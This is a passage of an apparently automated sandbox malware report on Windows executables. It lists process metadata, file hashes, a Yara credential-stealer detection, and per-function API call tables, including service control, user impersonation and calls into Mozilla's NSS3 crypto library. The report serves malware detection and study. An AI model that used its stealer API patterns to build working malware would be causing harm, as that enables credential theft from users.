Commandline:	"C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe"
Imagebase:	0xdc0000
File size:	776'832 bytes
MD5 hash:	AFD936E441BF5CBDB858E96833CC6ED3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	01:58:20
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe"
Imagebase:	0xc0000
File size:	1'885'696 bytes
MD5 hash:	25FB9C54265BBACC7A055174479F0B70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Function 00C7EDD0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Associated: 00000000.00000003.1919033496.0000000000C7D000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c7d000_AWrVzd6XpC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b5ff01af52a83dff864d0d1d4acbc94e4e9147b0f5d3c11e0bfd1fdb49503d2
Instruction ID: 628a66f43f455de5d0030d030fa2eff836b00d57bf9cbb1fc8db8cd5c6636486
Opcode Fuzzy Hash: 6b5ff01af52a83dff864d0d1d4acbc94e4e9147b0f5d3c11e0bfd1fdb49503d2
Instruction Fuzzy Hash: 895126A280E3C64FD7138B300C39551BFB1AE6720435E89CFC4CA8F4B3E259584AC762

Function 00C7EDD0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C7E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c7d000_AWrVzd6XpC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b5ff01af52a83dff864d0d1d4acbc94e4e9147b0f5d3c11e0bfd1fdb49503d2
Instruction ID: 628a66f43f455de5d0030d030fa2eff836b00d57bf9cbb1fc8db8cd5c6636486
Opcode Fuzzy Hash: 6b5ff01af52a83dff864d0d1d4acbc94e4e9147b0f5d3c11e0bfd1fdb49503d2
Instruction Fuzzy Hash: 895126A280E3C64FD7138B300C39551BFB1AE6720435E89CFC4CA8F4B3E259584AC762

Function 00C88807 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C7D000, based on PE: false

Associated: 00000000.00000003.1919033496.0000000000C7D000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c7d000_AWrVzd6XpC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5320ab528b407747115c89fa9c056cc81c3aa92a7ed252cf095546597db39578
Instruction ID: 6232b94a09ceb2804fcb00365b824f0a5eed1d384d353177f4a2cc986d939767
Opcode Fuzzy Hash: 5320ab528b407747115c89fa9c056cc81c3aa92a7ed252cf095546597db39578
Instruction Fuzzy Hash: AE2100621092D08FC306CF38D494A82BFA2FF8B31A39E40DDC8C18F527C6A56942CB42

Function 00C88807 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, Offset: 00C7E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_c7d000_AWrVzd6XpC.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5320ab528b407747115c89fa9c056cc81c3aa92a7ed252cf095546597db39578
Instruction ID: 6232b94a09ceb2804fcb00365b824f0a5eed1d384d353177f4a2cc986d939767
Opcode Fuzzy Hash: 5320ab528b407747115c89fa9c056cc81c3aa92a7ed252cf095546597db39578
Instruction Fuzzy Hash: AE2100621092D08FC306CF38D494A82BFA2FF8B31A39E40DDC8C18F527C6A56942CB42

Analysis Process: I8WIG9OBFWN5NKZK2DW5QG7.exePID: 1804, Parent PID: 6360COMMON

Execution Graph

Execution Coverage:	26.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 053115D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053118C8

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: bf18470558af1cdb01b57087cdb16fff92a0b0fbb2f7778d190ab82cae3c7dc3
Instruction ID: 42b4757af72601fc39ae6d595fbc1592b10873746d6c8257572cadda58ec0131
Opcode Fuzzy Hash: bf18470558af1cdb01b57087cdb16fff92a0b0fbb2f7778d190ab82cae3c7dc3
Instruction Fuzzy Hash: EFC14871D102599FDB18CFB8C9857EEBBF2BB49310F148129ED59E7284DBB48881CB85

Function 053115C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 053118C8

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 2d3393693e07ccbc00e91e16af50c1889d50a5e91562cde3acbc56dff6013f6e
Instruction ID: 0730f8651702ca87f4d10d5d3df13261880558f6e6f3caea2c64ef1bf6128b7a
Opcode Fuzzy Hash: 2d3393693e07ccbc00e91e16af50c1889d50a5e91562cde3acbc56dff6013f6e
Instruction Fuzzy Hash: A6C14871D102599FDB18CFB8C9857EEBBB2BB49310F148129ED59E7284DBB48881CB85

Function 05310D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05310DCD

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 56aed65a9a957c937eb0b72773f34d18ffc2bb3308e385742d4990269926c411
Instruction ID: e15acf1c7eb14a1a14a40c9d9275c159b411734aea6165bdb0602e7031d19622
Opcode Fuzzy Hash: 56aed65a9a957c937eb0b72773f34d18ffc2bb3308e385742d4990269926c411
Instruction Fuzzy Hash: 7A2165B6C002088FCB14CFA9D885ADEFBF0FF88320F14816AD808AB244D774A541CBA4

Function 05310D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 05310DCD

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 49cc7dbbb7a864842dcb40c4908c012bb83a63dc2675f9dd2d7f8d9034a8f535
Instruction ID: 40d56a5503692af79f35f8257790dc21b15f5892c2d59fe087924670b47e27f5
Opcode Fuzzy Hash: 49cc7dbbb7a864842dcb40c4908c012bb83a63dc2675f9dd2d7f8d9034a8f535
Instruction Fuzzy Hash: 182133B6C002099FCB14CFA9D884ADEFBF5FB88320F14815AE808AB204D774A540CBA4

Function 05311509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05311580

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 7bbee43fcc888e64130ea87f305cae4cffad7365ec0710e7d09f59d412962bc0
Instruction ID: 7ad8598801bae7b477fde4255d4d22bdf6f0dfe0a8305a3eb076d9196565bfba
Opcode Fuzzy Hash: 7bbee43fcc888e64130ea87f305cae4cffad7365ec0710e7d09f59d412962bc0
Instruction Fuzzy Hash: D72114B1D002499FDB10CFAAD585BDEFBF4EB48320F10842AE919A7240D378A645CFA5

Function 05311510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05311580

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 91108740c52e3c4a90a2849911ae9a14f3c85d2577fc39cc344d5373f0e6ce41
Instruction ID: f5dfddca135cf83aab173b7821b2089dcc5af2db3d1d06d7d5c113753e9915a1
Opcode Fuzzy Hash: 91108740c52e3c4a90a2849911ae9a14f3c85d2577fc39cc344d5373f0e6ce41
Instruction Fuzzy Hash: 8A11E4B5D002499FDB10CFAAC585BDEFBF4EB48324F14802AE959A7250D378A644CFA5

Function 05311301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05311367

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 7a6d464c26a44ce46650e581a12542c8fc644e3fd05d7a07f40464bdac660eca
Instruction ID: 3080095143e0830d47f6ae56f1643452ead47fbb11ce195579e002081ec523de
Opcode Fuzzy Hash: 7a6d464c26a44ce46650e581a12542c8fc644e3fd05d7a07f40464bdac660eca
Instruction Fuzzy Hash: 1F113AB2800249CFDB10CFAAD585BDEFBF4EF48324F24845AD518A7640D778A545CFA5

Function 05311308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05311367

Memory Dump Source

Source File: 00000004.00000002.2144017821.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5310000_I8WIG9OBFWN5NKZK2DW5QG7.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 6e9cd399253ce405ff2ea67c0c6b0ba13e76384143cca97024ff8663f3dcda8a
Instruction ID: 378dd4b56ed20995ceae67ba915818666f50432f00d099dd20f48a22b441e68e
Opcode Fuzzy Hash: 6e9cd399253ce405ff2ea67c0c6b0ba13e76384143cca97024ff8663f3dcda8a
Instruction Fuzzy Hash: 941106B1800249CFDB10CFAAD545BDEFBF8EB48324F24845AD518A7650D778A544CFA5

Analysis Process: BSXM76J67J2SWCC02VQCUVS8ZQNV.exePID: 4944, Parent PID: 6360COMMON

Non-executed Functions

Function 6C5D3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C5D3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5D3FFE
malloc.MOZGLUE(-00000003), ref: 6C5D4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C60FC62), ref: 6C5D404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C5D407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C5D40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C5D40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5D4112
malloc.MOZGLUE(00000000), ref: 6C5D411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C5D414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5D4160
free.MOZGLUE(?), ref: 6C5D416C
malloc.MOZGLUE(?), ref: 6C5D41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C5D41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C5D4520), ref: 6C5D4244
GetEnvironmentStrings.KERNEL32 ref: 6C5D424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D42E4
malloc.MOZGLUE(00000002), ref: 6C5D42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C5D4342
GetStdHandle.KERNEL32(000000F6), ref: 6C5D43AB
GetStdHandle.KERNEL32(000000F5), ref: 6C5D43B2
GetStdHandle.KERNEL32(000000F4), ref: 6C5D43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C5D4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5D4410

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C5D445E
CloseHandle.KERNEL32(?), ref: 6C5D446B
free.MOZGLUE(?), ref: 6C5D4482
free.MOZGLUE(00000000), ref: 6C5D4492
free.MOZGLUE(00000000), ref: 6C5D44A4
GetLastError.KERNEL32 ref: 6C5D44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C5D44BE
free.MOZGLUE(?), ref: 6C5D44C7
free.MOZGLUE(00000000), ref: 6C5D44D5
free.MOZGLUE(00000000), ref: 6C5D44EA

Strings

D, xrefs: 6C5D4396
NSPR_INHERIT_FDS=, xrefs: 6C5D41E9
=, xrefs: 6C5D44F8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: d68b0b41d10da99d730f2e78c9a8fa78f54e763d81f126556186755fe4a3136d
Instruction ID: 83a0e1e10fc7e58a876cb6fb4fdb026672b6029847edb053122971df7f2e9d43
Opcode Fuzzy Hash: d68b0b41d10da99d730f2e78c9a8fa78f54e763d81f126556186755fe4a3136d
Instruction Fuzzy Hash: BF02F370E003519BEB10CFADCC817AEBBB4AF46309F264129DC5AA7B41D771B844CB99

Function 6C524840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C50601B,?,00000000,?), ref: 6C52486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C5248A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C5248BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C5248DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C5248F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C52490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C524919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C52493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C524970
PORT_Alloc_Util.NSS3(00000001), ref: 6C5249A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5249AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5249D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C5249F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C524A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C524A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C524A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C524A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C524A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C524A81
free.MOZGLUE(00000000), ref: 6C524AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C524ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C524ADC
free.MOZGLUE(00000000), ref: 6C524B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C524B33

Part of subcall function 6C524120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52413D
Part of subcall function 6C524120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C524162
Part of subcall function 6C524120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C52416B
Part of subcall function 6C524120: PL_strncasecmp.NSS3(2BRl,?,00000001), ref: 6C524187
Part of subcall function 6C524120: NSSUTIL_ArgSkipParameter.NSS3(2BRl), ref: 6C5241A0
Part of subcall function 6C524120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5241B4
Part of subcall function 6C524120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C5241CC
Part of subcall function 6C524120: NSSUTIL_ArgFetchValue.NSS3(2BRl,?), ref: 6C524203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C524B53
free.MOZGLUE(00000000), ref: 6C524B94
free.MOZGLUE(?), ref: 6C524BA7
free.MOZGLUE(00000000), ref: 6C524BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C524BC8

Strings

askpw, xrefs: 6C524A4A
slotFlags, xrefs: 6C524A22
hasRootCerts, xrefs: 6C524AD6
every, xrefs: 6C524A66
timeout, xrefs: 6C524A38, 6C524A7B
hasRootTrust, xrefs: 6C524B4D
rootFlags, xrefs: 6C524AB9, 6C524B2E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: b9b9f2012dfd95e453a0d969fcfaaa3d42ebe5916b5e04ada45c670e6f929080
Instruction ID: ff285f1cd4ba61a49bd1530bfd214fa405e41adbf9571fd8d5ba57d38256186a
Opcode Fuzzy Hash: b9b9f2012dfd95e453a0d969fcfaaa3d42ebe5916b5e04ada45c670e6f929080
Instruction Fuzzy Hash: 68C11770E052559FEF01CF699C81BAE7BF8AF46308F180429EC55A7B81E339D915CBA1

Function 6C4E99C0 Relevance: 47.7, APIs: 25, Strings: 2, Instructions: 457stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E9A6D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(-000000F9), ref: 6C4E9A89
PORT_Alloc_Util.NSS3(68006A0F), ref: 6C4E9AA2
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4E9AB9
memcpy.VCRUNTIME140(00000001,?,FFFFD003), ref: 6C4E9AD4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,?,?,?,?,6C4E9F85,?,00000000,00000000,?,6C4D3C7B), ref: 6C4E9B02
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E9BC5

Part of subcall function 6C4DB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C4E1397,00000000,?,6C4DCF93,5B5F5EC0,00000000,?,6C4E1397,?), ref: 6C4DB1CB
Part of subcall function 6C4DB1A0: free.MOZGLUE(5B5F5EC0,?,6C4DCF93,5B5F5EC0,00000000,?,6C4E1397,?), ref: 6C4DB1D2

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C4E9BDE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4E9C29
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C4E9C38
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C4E9C49
free.MOZGLUE(00000000), ref: 6C4E9C5A
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C4E9C9D
PK11_IsLoggedIn.NSS3(00000000,00000000), ref: 6C4E9CCE
free.MOZGLUE(00000000), ref: 6C4E9CFC

Part of subcall function 6C4E11C0: PR_NewLock.NSS3 ref: 6C4E1216

CERT_DestroyCertificate.NSS3(00000000), ref: 6C4E9D05
CERT_IsCACert.NSS3(00000000,?), ref: 6C4E9D17
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C4E9E53
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C4E9E65
TlsGetValue.KERNEL32 ref: 6C4E9E89
EnterCriticalSection.KERNEL32(6C4D3C7B), ref: 6C4E9E9D
PR_Unlock.NSS3 ref: 6C4E9EB5
free.MOZGLUE(?), ref: 6C4E9EC7
free.MOZGLUE(?), ref: 6C4E9ED7
PK11_DoesMechanism.NSS3(00000000,00001011), ref: 6C4E9EEF

Part of subcall function 6C511560: TlsGetValue.KERNEL32(00000000,?,6C4E0844,?), ref: 6C51157A
Part of subcall function 6C511560: EnterCriticalSection.KERNEL32(?,?,?,6C4E0844,?), ref: 6C51158F
Part of subcall function 6C511560: PR_Unlock.NSS3(?,?,?,?,6C4E0844,?), ref: 6C5115B2

Strings

ID , xrefs: 6C4E9B64
Cert, xrefs: 6C4E9B6B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$strlen$Alloc_CriticalDestroySectionUtilmemcpy$ArenaEnterErrorK11_PublicUnlockValue$CertCertificateDeleteDoesLockLoggedMechanism
String ID: ID $Cert
API String ID: 249077162-1549779482
Opcode ID: 38d65cf5d26bc6c7f7845c92afdb90312aed792d493f6ab4225bb4b0358d86bf
Instruction ID: 3f159a14e74eec2721a55169d5a0d5ebf1e5c8528321b845d6ac7a3a5dfb9bc5
Opcode Fuzzy Hash: 38d65cf5d26bc6c7f7845c92afdb90312aed792d493f6ab4225bb4b0358d86bf
Instruction Fuzzy Hash: 7BF1D5B0E01205ABEB01DF69DC85FEE77B4AF5930AF164029E90597B81E732E905CB91

Function 6C527C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C527C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C527C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C527D1E

Part of subcall function 6C527870: SECOID_FindOID_Util.NSS3(?,?,?,6C5291C5), ref: 6C52788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C527D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C527D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C527DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C527DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C527DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C527E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C527E58

Part of subcall function 6C527870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5291C5), ref: 6C5278BB
Part of subcall function 6C527870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C5291C5), ref: 6C5278FA
Part of subcall function 6C527870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C5291C5), ref: 6C527930
Part of subcall function 6C527870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5291C5), ref: 6C527951
Part of subcall function 6C527870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C527964
Part of subcall function 6C527870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C52797A
Part of subcall function 6C527870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C527988
Part of subcall function 6C527870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C527998
Part of subcall function 6C527870: free.MOZGLUE(00000000), ref: 6C5279A7
Part of subcall function 6C527870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C5291C5), ref: 6C5279BB
Part of subcall function 6C527870: PR_GetCurrentThread.NSS3(?,?,?,?,6C5291C5), ref: 6C5279CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C527E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C527F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C527F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C527FBF
